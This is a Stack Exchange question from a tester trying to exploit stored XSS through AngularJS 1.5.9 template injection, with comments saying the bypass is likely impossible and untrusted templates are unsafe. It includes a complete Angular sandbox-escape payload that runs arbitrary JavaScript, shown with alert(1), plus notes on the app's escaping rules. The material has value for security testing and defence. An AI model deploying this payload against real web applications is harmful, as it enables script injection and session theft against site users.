Stack Exchange
Achieve Angular 1.5.9 template injection
I am testing a web application and I have found a stored cross site scripting vulnerability through Angular template injection however I am having a problem exploiting it.
Here is what the application does:

Everything is htmlspecialchar()
\ is escaped with \\
" is escaped with \" 
' is not escaped

The payload I am using is
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
x="
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
";
B=C(b,c,b);$evalAsync(x);
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

The following block fails: 
x="
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
";

because " is escaped with \"
x=\"
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
\";

and I can't use \ since it's escaped with \\
Here is a JS fiddle of how the payload gets printed in the page: https://jsfiddle.net/uonesrt8/
So my payload above fails because I can't use only a single quote to $evalAsync() a string with a single quote in it without using \ or ".
Are there any other ways to achieve that?
Thanks in advance!

@estus I didn't add \ , it was added because the application escapes " with \" , probably using addslashes()

It seems like the post lacks properly asked question. how can I use only a single quote to $evalAsync() a string with a single quote in it without using \ or " - you likely can't. If you're interested if this code can be modified to exploit the vulnerability even if the string is escaped with htmlspecialchar, the answer would be 'most likely yes'. It's not possible to escape this expression to the point where it will be absolutely safe.

You are correct @estus
I have modified the question.

I don't think that providing solutions for vulnerability exploits is allowed on SO. If you're asking as a web developer who cares about own app security, all you need to know that this code snippet isn't safe, and template loading from untrusted sources should be avoided at all.
